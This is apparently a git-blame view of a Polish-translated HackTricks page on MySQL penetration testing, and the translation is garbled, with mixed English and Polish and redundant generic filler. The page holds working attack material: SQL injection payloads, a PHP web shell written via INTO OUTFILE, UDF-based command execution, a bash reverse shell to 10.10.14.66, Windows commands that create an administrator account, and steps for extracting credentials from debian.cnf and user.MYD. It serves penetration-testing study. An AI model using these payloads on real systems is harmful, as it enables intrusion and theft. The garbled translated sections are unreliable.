hacktricks/network-services-pentesting/pentesting-mysql.md

946 lines
37 KiB
Markdown
Raw Normal View History

2024-02-11 01:46:25 +00:00
# 3306 - Testowanie penetracyjne MySQL
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-02-03 01:15:34 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2022-10-25 15:56:49 +00:00
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
2024-02-11 01:46:25 +00:00
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2024-02-11 01:46:25 +00:00
## **Podstawowe informacje**
2024-02-11 01:46:25 +00:00
**MySQL** można opisać jako otwarty, darmowy **System Zarządzania Bazą Danych Relacyjnych (RDBMS)**. Działa na **Structured Query Language (SQL)**, umożliwiając zarządzanie i manipulację bazami danych.
2024-02-11 01:46:25 +00:00
**Domyślny port:** 3306
```
3306/tcp open mysql
```
2024-02-11 01:46:25 +00:00
To connect to a local MySQL server, you can use the following command:
```bash
mysql -u <username> -p
```
Replace `<username>` with the username you want to use to connect to the server. You will be prompted to enter the password for the user.
### **Remote**
To connect to a remote MySQL server, you can use the following command:
```bash
mysql -h <hostname> -P <port> -u <username> -p
```
Replace `<hostname>` with the IP address or hostname of the remote server, `<port>` with the port number on which the MySQL server is running (default is 3306), `<username>` with the username you want to use to connect, and you will be prompted to enter the password for the user.
## **Enumerate**
### **Version**
To determine the version of the MySQL server, you can use the following command:
```sql
SELECT @@version;
```
This will return the version number of the MySQL server.
### **Databases**
To list all the databases on the MySQL server, you can use the following command:
```sql
SHOW DATABASES;
```
This will display a list of all the databases.
### **Tables**
To list all the tables in a specific database, you can use the following command:
```sql
USE <database_name>;
SHOW TABLES;
```
Replace `<database_name>` with the name of the database you want to enumerate.
### **Columns**
To list all the columns in a specific table, you can use the following command:
```sql
USE <database_name>;
SHOW COLUMNS FROM <table_name>;
```
Replace `<database_name>` with the name of the database and `<table_name>` with the name of the table you want to enumerate.
### **Data**
To retrieve data from a specific table, you can use the following command:
```sql
USE <database_name>;
SELECT * FROM <table_name>;
```
Replace `<database_name>` with the name of the database and `<table_name>` with the name of the table from which you want to retrieve data.
## **Exploit**
### **SQL Injection**
To exploit a SQL injection vulnerability in a web application, you can try injecting malicious SQL queries into input fields or parameters. The goal is to manipulate the SQL query being executed by the application and retrieve sensitive information or perform unauthorized actions.
2024-02-11 01:46:25 +00:00
Some common SQL injection techniques include:
2024-02-11 01:46:25 +00:00
- Union-based SQL injection
- Error-based SQL injection
- Blind SQL injection
2024-02-11 01:46:25 +00:00
### **Privilege Escalation**
If you have limited privileges on the MySQL server, you can try to escalate your privileges to gain administrative access. This can be done by exploiting vulnerabilities in the MySQL server or by leveraging misconfigurations or weak permissions.
Some common privilege escalation techniques include:
- Exploiting weak user credentials
- Exploiting vulnerabilities in the MySQL server version
- Exploiting misconfigurations or weak permissions
## **Post-Exploitation**
Once you have gained access to the MySQL server, you can perform various post-exploitation activities, such as:
- Dumping the contents of databases or specific tables
- Modifying or deleting data in the database
- Creating new database users or modifying existing ones
- Executing operating system commands on the server
## **Countermeasures**
To protect against MySQL server vulnerabilities and attacks, you can implement the following countermeasures:
- Keep the MySQL server up to date with the latest security patches
- Use strong and unique passwords for MySQL user accounts
- Implement proper input validation and sanitization in web applications to prevent SQL injection attacks
- Restrict access to the MySQL server to trusted IP addresses or networks
- Regularly monitor and review MySQL server logs for suspicious activities
```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
2024-02-11 01:46:25 +00:00
### Zdalne
MySQL can be accessed remotely through the network. This allows clients to connect to the MySQL server from a different machine. However, remote access should be carefully configured to ensure security.
MySQL może być zdalnie dostępny przez sieć. Pozwala to klientom na połączenie się z serwerem MySQL z innego komputera. Jednak zdalny dostęp powinien być starannie skonfigurowany, aby zapewnić bezpieczeństwo.
#### Default Port
By default, MySQL listens on port 3306 for incoming connections. This port should be open in the firewall to allow remote access.
Domyślnie MySQL nasłuchuje na porcie 3306 dla przychodzących połączeń. Ten port powinien być otwarty w firewallu, aby umożliwić zdalny dostęp.
#### User Authentication
MySQL uses a username and password for authentication. It is important to use strong and unique passwords for MySQL accounts to prevent unauthorized access.
MySQL używa nazwy użytkownika i hasła do uwierzytelniania. Ważne jest, aby używać silnych i unikalnych haseł dla kont MySQL, aby zapobiec nieautoryzowanemu dostępowi.
#### Network Encryption
To secure the communication between the client and the MySQL server, it is recommended to use SSL/TLS encryption. This ensures that the data transmitted over the network is encrypted and cannot be intercepted.
Aby zabezpieczyć komunikację między klientem a serwerem MySQL, zaleca się korzystanie z szyfrowania SSL/TLS. Zapewnia to, że dane przesyłane przez sieć są zaszyfrowane i nie mogą być przechwycone.
#### Firewall Configuration
To restrict access to the MySQL server, it is important to configure the firewall to only allow connections from trusted IP addresses. This helps prevent unauthorized access from malicious actors.
Aby ograniczyć dostęp do serwera MySQL, ważne jest skonfigurowanie firewalla tak, aby zezwalał tylko na połączenia z zaufanych adresów IP. Pomaga to zapobiec nieautoryzowanemu dostępowi ze strony złośliwych użytkowników.
2024-02-11 01:46:25 +00:00
#### Brute-Force Attacks
2024-02-11 01:46:25 +00:00
MySQL is vulnerable to brute-force attacks, where an attacker tries multiple username and password combinations to gain access. To prevent this, it is recommended to implement account lockouts and rate limiting to block repeated login attempts.
MySQL jest podatny na ataki brute-force, w których atakujący próbuje wielu kombinacji nazwy użytkownika i hasła, aby uzyskać dostęp. Aby temu zapobiec, zaleca się wprowadzenie blokady konta i ograniczenia liczby prób logowania w celu zablokowania powtarzających się prób logowania.
#### SQL Injection
SQL injection is a common vulnerability in web applications that use MySQL as the backend database. It allows an attacker to manipulate the SQL queries executed by the application, potentially gaining unauthorized access to the database. To prevent SQL injection, it is important to use prepared statements or parameterized queries.
SQL injection to powszechna podatność w aplikacjach internetowych, które korzystają z MySQL jako bazy danych backendowej. Pozwala to atakującemu manipulować zapytaniami SQL wykonywanymi przez aplikację, co potencjalnie umożliwia nieautoryzowany dostęp do bazy danych. Aby zapobiec SQL injection, ważne jest korzystanie z przygotowanych instrukcji lub zapytań z parametrami.
#### Privilege Escalation
If an attacker gains access to a MySQL account with limited privileges, they may attempt to escalate their privileges to gain more control over the database. It is important to regularly review and update the privileges assigned to MySQL accounts to prevent privilege escalation.
Jeśli atakujący uzyska dostęp do konta MySQL o ograniczonych uprawnieniach, może próbować podnieść swoje uprawnienia, aby uzyskać większą kontrolę nad bazą danych. Ważne jest regularne przeglądanie i aktualizowanie przydzielonych uprawnień dla kont MySQL w celu zapobiegania eskalacji uprawnień.
```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
2024-02-11 01:46:25 +00:00
## Zewnętrzne wyliczanie
2024-02-11 01:46:25 +00:00
Niektóre z działań wyliczających wymagają poprawnych poświadczeń.
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
2021-03-11 19:59:32 +00:00
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
2024-02-11 01:46:25 +00:00
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
2024-02-11 01:46:25 +00:00
### [**Atak siłowy**](../generic-methodologies-and-resources/brute-force.md#mysql)
2024-02-11 01:46:25 +00:00
### Zapisz dowolne dane binarne
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```
2024-02-11 01:46:25 +00:00
## **Polecenia MySQL**
MySQL to popularny system zarządzania bazą danych, który oferuje wiele przydatnych poleceń do zarządzania i manipulowania danymi. Poniżej przedstawiam kilka najważniejszych poleceń MySQL, które warto znać:
### **1. Polecenie SELECT**
Polecenie SELECT służy do pobierania danych z tabeli. Przykład użycia:
```sql
SELECT * FROM tabela;
```
### **2. Polecenie INSERT**
Polecenie INSERT służy do dodawania nowych rekordów do tabeli. Przykład użycia:
```sql
INSERT INTO tabela (kolumna1, kolumna2) VALUES (wartość1, wartość2);
```
2024-02-11 01:46:25 +00:00
### **3. Polecenie UPDATE**
2024-02-11 01:46:25 +00:00
Polecenie UPDATE służy do aktualizacji istniejących rekordów w tabeli. Przykład użycia:
```sql
UPDATE tabela SET kolumna = nowa_wartość WHERE warunek;
```
### **4. Polecenie DELETE**
Polecenie DELETE służy do usuwania rekordów z tabeli. Przykład użycia:
```sql
DELETE FROM tabela WHERE warunek;
```
### **5. Polecenie CREATE**
Polecenie CREATE służy do tworzenia nowej tabeli. Przykład użycia:
```sql
CREATE TABLE tabela (kolumna1 typ1, kolumna2 typ2, ...);
```
### **6. Polecenie DROP**
Polecenie DROP służy do usuwania istniejącej tabeli. Przykład użycia:
```sql
DROP TABLE tabela;
```
### **7. Polecenie ALTER**
Polecenie ALTER służy do modyfikowania struktury tabeli. Przykład użycia:
```sql
ALTER TABLE tabela ADD kolumna typ;
```
### **8. Polecenie GRANT**
Polecenie GRANT służy do nadawania uprawnień użytkownikom. Przykład użycia:
```sql
GRANT uprawnienia ON tabela TO użytkownik;
```
### **9. Polecenie REVOKE**
Polecenie REVOKE służy do usuwania uprawnień użytkownikom. Przykład użycia:
```sql
REVOKE uprawnienia ON tabela FROM użytkownik;
```
### **10. Polecenie SHOW**
Polecenie SHOW służy do wyświetlania informacji o bazie danych lub tabelach. Przykład użycia:
```sql
SHOW DATABASES;
SHOW TABLES;
```
```bash
show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
2022-10-02 21:10:53 +00:00
show columns from <table>;
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
2022-05-11 19:00:10 +00:00
#Get a shell with the mysql client user
\! sh
#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
#Read & Write
2022-10-03 00:11:21 +00:00
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
```
```bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
2020-11-04 22:09:50 +00:00
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
2024-02-11 01:46:25 +00:00
### Wyliczanie uprawnień MySQL
MySQL jest popularnym systemem zarządzania bazą danych, który jest szeroko stosowany w aplikacjach internetowych. Podczas testowania penetracyjnego aplikacji internetowych, ważne jest zrozumienie uprawnień użytkowników MySQL, aby znaleźć potencjalne luki w zabezpieczeniach. Poniżej przedstawiono kilka technik, które można zastosować do wyliczenia uprawnień MySQL.
#### 1. Wyświetlanie uprawnień użytkownika
Aby wyświetlić uprawnienia użytkownika MySQL, można użyć polecenia `SHOW GRANTS FOR user;`, gdzie `user` to nazwa użytkownika, którego uprawnienia chcemy sprawdzić. Ten polecenie wyświetli listę uprawnień przypisanych do danego użytkownika.
#### 2. Wyświetlanie wszystkich uprawnień
Aby wyświetlić wszystkie uprawnienia w systemie MySQL, można użyć polecenia `SHOW GRANTS;`. Ten polecenie wyświetli listę wszystkich uprawnień przypisanych do wszystkich użytkowników w systemie.
#### 3. Wyświetlanie uprawnień dla wszystkich użytkowników
Aby wyświetlić uprawnienia dla wszystkich użytkowników w systemie MySQL, można użyć polecenia `SELECT user, host, authentication_string FROM mysql.user;`. Ten polecenie wyświetli listę użytkowników wraz z ich uprawnieniami.
2024-02-11 01:46:25 +00:00
#### 4. Wyświetlanie uprawnień dla bazy danych
2022-10-08 17:31:10 +00:00
2024-02-11 01:46:25 +00:00
Aby wyświetlić uprawnienia dla konkretnej bazy danych, można użyć polecenia `SHOW GRANTS FOR user ON database;`, gdzie `user` to nazwa użytkownika, a `database` to nazwa bazy danych. Ten polecenie wyświetli listę uprawnień przypisanych do danego użytkownika dla konkretnej bazy danych.
#### 5. Wyświetlanie uprawnień dla tabeli
Aby wyświetlić uprawnienia dla konkretnej tabeli w bazie danych, można użyć polecenia `SHOW GRANTS FOR user ON database.table;`, gdzie `user` to nazwa użytkownika, `database` to nazwa bazy danych, a `table` to nazwa tabeli. Ten polecenie wyświetli listę uprawnień przypisanych do danego użytkownika dla konkretnej tabeli.
Wyliczanie uprawnień MySQL jest ważnym krokiem w procesie testowania penetracyjnego aplikacji internetowych. Pozwala to zidentyfikować potencjalne luki w zabezpieczeniach i podjąć odpowiednie działania w celu ich naprawy.
2022-10-08 17:31:10 +00:00
```sql
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();
2022-12-21 22:55:15 +00:00
# Get users, permissions & hashes
SELECT * FROM mysql.user;
2022-10-08 17:31:10 +00:00
#From DB
2024-02-11 01:46:25 +00:00
select * from mysql.user where user='root';
2022-10-08 17:31:10 +00:00
## Get users with file_priv
2022-12-21 19:36:44 +00:00
select user,file_priv from mysql.user where file_priv='Y';
2022-10-08 17:31:10 +00:00
## Get users with Super_priv
2022-12-21 19:36:44 +00:00
select user,Super_priv from mysql.user where Super_priv='Y';
2022-10-08 17:31:10 +00:00
# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
2022-12-21 22:55:15 +00:00
#@ Functions not from sys. db
2022-12-23 06:41:52 +00:00
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
2022-10-08 17:31:10 +00:00
```
2024-02-11 01:46:25 +00:00
Możesz zobaczyć w dokumentacji znaczenie każdego uprawnienia: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute)
2022-10-08 17:31:10 +00:00
### MySQL File RCE
{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %}
[mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
{% endcontent-ref %}
2024-02-11 01:46:25 +00:00
## MySQL dowolne odczytywanie plików przez klienta
2024-02-11 01:46:25 +00:00
W rzeczywistości, kiedy próbujesz **załadować dane lokalnie do tabeli**, **zawartość pliku** serwer MySQL lub MariaDB prosi **klienta o odczytanie go** i przesłanie zawartości. **Jeśli więc możesz przerobić klienta MySQL, aby połączył się z twoim własnym serwerem MySQL, możesz odczytywać dowolne pliki.**\
Proszę zauważyć, że jest to zachowanie przy użyciu:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
2024-02-11 01:46:25 +00:00
(Pamiętaj o słowie "local")\
Ponieważ bez słowa "local" możesz otrzymać:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
2024-02-11 01:46:25 +00:00
**Początkowy PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**W tym artykule można znaleźć kompletny opis ataku oraz jak go rozszerzyć do zdalnego wykonania kodu:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Tutaj można znaleźć przegląd ataku:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
2022-10-25 15:56:49 +00:00
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
2024-02-11 01:46:25 +00:00
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2022-05-01 13:25:53 +00:00
## POST
2024-02-11 01:46:25 +00:00
### Użytkownik Mysql
2024-02-11 01:46:25 +00:00
Bardzo interesujące będzie, jeśli mysql działa jako **root**:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
2022-05-11 19:00:10 +00:00
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
2024-02-11 01:46:25 +00:00
#### Niebezpieczne ustawienia mysqld.cnf
2024-02-11 01:46:25 +00:00
W konfiguracji usług MySQL używane są różne ustawienia do określenia sposobu działania i zabezpieczeń:
2022-10-02 21:10:53 +00:00
2024-02-11 01:46:25 +00:00
- Ustawienie **`user`** jest używane do określenia użytkownika, na którym będzie uruchamiana usługa MySQL.
- **`password`** jest stosowane do ustanowienia hasła powiązanego z użytkownikiem MySQL.
- **`admin_address`** określa adres IP, na którym nasłuchuje połączeń TCP/IP na interfejsie administracyjnym.
- Zmienna **`debug`** wskazuje na obecne konfiguracje debugowania, w tym na wrażliwe informacje w dziennikach.
- **`sql_warnings`** zarządza generowaniem ciągów informacyjnych dla instrukcji INSERT dla pojedynczych wierszy, gdy pojawiają się ostrzeżenia, zawierające wrażliwe dane w dziennikach.
- Za pomocą **`secure_file_priv`** ogranicza się zakres operacji importu i eksportu danych w celu zwiększenia bezpieczeństwa.
2024-02-08 21:36:15 +00:00
2024-02-11 01:46:25 +00:00
### Eskalacja uprawnień
2022-05-11 19:00:10 +00:00
```bash
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
2022-12-21 22:55:15 +00:00
# Get users, permissions & creds
SELECT * FROM mysql.user;
2022-05-11 19:00:10 +00:00
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
2024-02-11 01:46:25 +00:00
### Eskalacja uprawnień za pomocą biblioteki
2024-02-11 01:46:25 +00:00
Jeśli serwer **mysql działa jako root** (lub inny bardziej uprzywilejowany użytkownik), możesz go zmusić do wykonania poleceń. W tym celu musisz użyć **zdefiniowanych przez użytkownika funkcji**. Aby utworzyć zdefiniowaną przez użytkownika funkcję, będziesz potrzebować **biblioteki** dla systemu operacyjnego, na którym działa mysql.
2022-05-11 19:00:10 +00:00
2024-02-11 01:46:25 +00:00
Złośliwą bibliotekę można znaleźć wewnątrz sqlmap i metasploita, wykonując polecenie **`locate "*lib_mysqludf_sys*"`**. Pliki **`.so`** to biblioteki **Linuxa**, a pliki **`.dll`** to biblioteki **Windowsa**, wybierz odpowiednią dla swojego systemu.
2022-05-11 19:00:10 +00:00
2024-02-11 01:46:25 +00:00
Jeśli **nie masz** tych bibliotek, możesz albo **poszukać ich**, albo pobrać ten [**kod źródłowy w języku C dla Linuxa**](https://www.exploit-db.com/exploits/1518) i **skompilować go wewnątrz podatnej maszyny Linux**:
2022-05-11 19:00:10 +00:00
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
2024-02-11 01:46:25 +00:00
Teraz, gdy masz bibliotekę, zaloguj się do Mysql jako uprzywilejowany użytkownik (root?) i postępuj zgodnie z następującymi krokami:
2022-05-01 13:25:53 +00:00
#### Linux
```sql
2022-05-11 19:00:10 +00:00
# Use a database
use mysql;
2022-05-11 19:00:10 +00:00
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
2022-05-11 19:00:10 +00:00
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
2022-05-11 19:00:10 +00:00
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
2022-05-11 19:00:10 +00:00
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```
2022-05-01 13:25:53 +00:00
#### Windows
2024-02-11 01:46:25 +00:00
##### MySQL Service Enumeration
MySQL is a popular open-source relational database management system. It is commonly used in web applications to store and retrieve data. In a Windows environment, MySQL can be installed as a service.
To enumerate MySQL services on a Windows machine, you can use the following methods:
1. **Service Command**: Use the `sc` command to list all services and filter for those with "mysql" in the name.
```plaintext
sc query | findstr /i mysql
```
2. **Tasklist Command**: Use the `tasklist` command to list all running processes and filter for those with "mysqld" in the name.
```plaintext
tasklist /fi "imagename eq mysqld*"
```
3. **Registry**: Check the Windows registry for MySQL service entries.
```plaintext
reg query HKLM\SYSTEM\CurrentControlSet\Services /s /f "mysql"
```
##### MySQL Service Exploitation
Once you have identified the MySQL service, you can proceed with exploiting it. Here are some common techniques:
1. **Default Credentials**: Try using default credentials such as "root" with no password or "admin" with no password.
2. **Brute-Force Attack**: Use a tool like Hydra or Medusa to perform a brute-force attack against the MySQL service.
3. **SQL Injection**: Look for SQL injection vulnerabilities in the web application that interacts with the MySQL database.
4. **Privilege Escalation**: If you have access to a low-privileged MySQL user, try to escalate privileges by exploiting vulnerabilities or misconfigurations.
5. **File Upload**: Exploit file upload functionality in the web application to upload a malicious file that can be executed on the server.
Remember to always obtain proper authorization before attempting any exploitation. Unauthorized access to computer systems is illegal and unethical.
```sql
2022-05-11 19:00:10 +00:00
# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
2022-05-11 19:00:10 +00:00
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
2024-02-11 01:46:25 +00:00
### Wyodrębnianie danych logowania MySQL z plików
2024-02-11 01:46:25 +00:00
Wewnątrz _/etc/mysql/debian.cnf_ można znaleźć **hasło w postaci zwykłego tekstu** użytkownika **debian-sys-maint**.
```bash
cat /etc/mysql/debian.cnf
```
2024-02-11 01:46:25 +00:00
Możesz **użyć tych danych logowania do zalogowania się do bazy danych MySQL**.
2024-02-11 01:46:25 +00:00
Wewnątrz pliku: _/var/lib/mysql/mysql/user.MYD_ znajdują się **wszystkie hashe użytkowników MySQL** (te, które można wyodrębnić z mysql.user wewnątrz bazy danych).
2024-02-11 01:46:25 +00:00
Możesz je wyodrębnić wykonując:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
2024-02-11 01:46:25 +00:00
### Włączanie logowania
2024-02-11 01:46:25 +00:00
Możesz włączyć logowanie zapytań MySQL w pliku `/etc/mysql/my.cnf`, odkomentowując następujące linie:
![](<../.gitbook/assets/image (277).png>)
2024-02-11 01:46:25 +00:00
### Przydatne pliki
2024-02-11 01:46:25 +00:00
Pliki konfiguracyjne
2022-05-01 13:25:53 +00:00
* windows \*
2024-02-11 01:46:25 +00:00
* config.ini
* my.ini
* windows\my.ini
* winnt\my.ini
* \<InstDir>/mysql/data/
* unix
* my.cnf
* /etc/my.cnf
* /etc/mysql/my.cnf
* /var/lib/mysql/my.cnf
* \~/.my.cnf
* /etc/my.cnf
* Historia poleceń
* \~/.mysql.history
* Pliki dziennika
* connections.log
* update.log
* common.log
## Domyślne bazy danych/tabele MySQL
2020-09-16 22:27:27 +00:00
{% tabs %}
{% tab title="information_schema" %}
2022-05-01 13:25:53 +00:00
ALL\_PLUGINS\
APPLICABLE\_ROLES\
CHARACTER\_SETS\
CHECK\_CONSTRAINTS\
COLLATIONS\
2022-05-01 13:25:53 +00:00
COLLATION\_CHARACTER\_SET\_APPLICABILITY\
COLUMNS\
2022-05-01 13:25:53 +00:00
COLUMN\_PRIVILEGES\
ENABLED\_ROLES\
ENGINES\
EVENTS\
FILES\
2022-05-01 13:25:53 +00:00
GLOBAL\_STATUS\
GLOBAL\_VARIABLES\
KEY\_COLUMN\_USAGE\
KEY\_CACHES\
OPTIMIZER\_TRACE\
PARAMETERS\
PARTITIONS\
PLUGINS\
PROCESSLIST\
PROFILING\
2022-05-01 13:25:53 +00:00
REFERENTIAL\_CONSTRAINTS\
ROUTINES\
SCHEMATA\
2022-05-01 13:25:53 +00:00
SCHEMA\_PRIVILEGES\
SESSION\_STATUS\
SESSION\_VARIABLES\
STATISTICS\
2022-05-01 13:25:53 +00:00
SYSTEM\_VARIABLES\
TABLES\
TABLESPACES\
2022-05-01 13:25:53 +00:00
TABLE\_CONSTRAINTS\
TABLE\_PRIVILEGES\
TRIGGERS\
2022-05-01 13:25:53 +00:00
USER\_PRIVILEGES\
VIEWS\
2022-05-01 13:25:53 +00:00
INNODB\_LOCKS\
INNODB\_TRX\
INNODB\_SYS\_DATAFILES\
INNODB\_FT\_CONFIG\
INNODB\_SYS\_VIRTUAL\
INNODB\_CMP\
INNODB\_FT\_BEING\_DELETED\
INNODB\_CMP\_RESET\
INNODB\_CMP\_PER\_INDEX\
INNODB\_CMPMEM\_RESET\
INNODB\_FT\_DELETED\
INNODB\_BUFFER\_PAGE\_LRU\
INNODB\_LOCK\_WAITS\
INNODB\_TEMP\_TABLE\_INFO\
INNODB\_SYS\_INDEXES\
INNODB\_SYS\_TABLES\
INNODB\_SYS\_FIELDS\
INNODB\_CMP\_PER\_INDEX\_RESET\
INNODB\_BUFFER\_PAGE\
INNODB\_FT\_DEFAULT\_STOPWORD\
INNODB\_FT\_INDEX\_TABLE\
INNODB\_FT\_INDEX\_CACHE\
INNODB\_SYS\_TABLESPACES\
INNODB\_METRICS\
INNODB\_SYS\_FOREIGN\_COLS\
INNODB\_CMPMEM\
INNODB\_BUFFER\_POOL\_STATS\
INNODB\_SYS\_COLUMNS\
INNODB\_SYS\_FOREIGN\
INNODB\_SYS\_TABLESTATS\
GEOMETRY\_COLUMNS\
SPATIAL\_REF\_SYS\
CLIENT\_STATISTICS\
INDEX\_STATISTICS\
USER\_STATISTICS\
INNODB\_MUTEXES\
TABLE\_STATISTICS\
INNODB\_TABLESPACES\_ENCRYPTION\
user\_variables\
INNODB\_TABLESPACES\_SCRUBBING\
INNODB\_SYS\_SEMAPHORE\_WAITS
2020-09-16 22:27:27 +00:00
{% endtab %}
{% tab title="mysql" %}
2022-05-01 13:25:53 +00:00
columns\_priv\
column\_stats\
db\
2022-05-01 13:25:53 +00:00
engine\_cost\
event\
func\
2022-05-01 13:25:53 +00:00
general\_log\
gtid\_executed\
gtid\_slave\_pos\
help\_category\
help\_keyword\
help\_relation\
help\_topic\
host\
2022-05-01 13:25:53 +00:00
index\_stats\
innodb\_index\_stats\
innodb\_table\_stats\
ndb\_binlog\_index\
plugin\
proc\
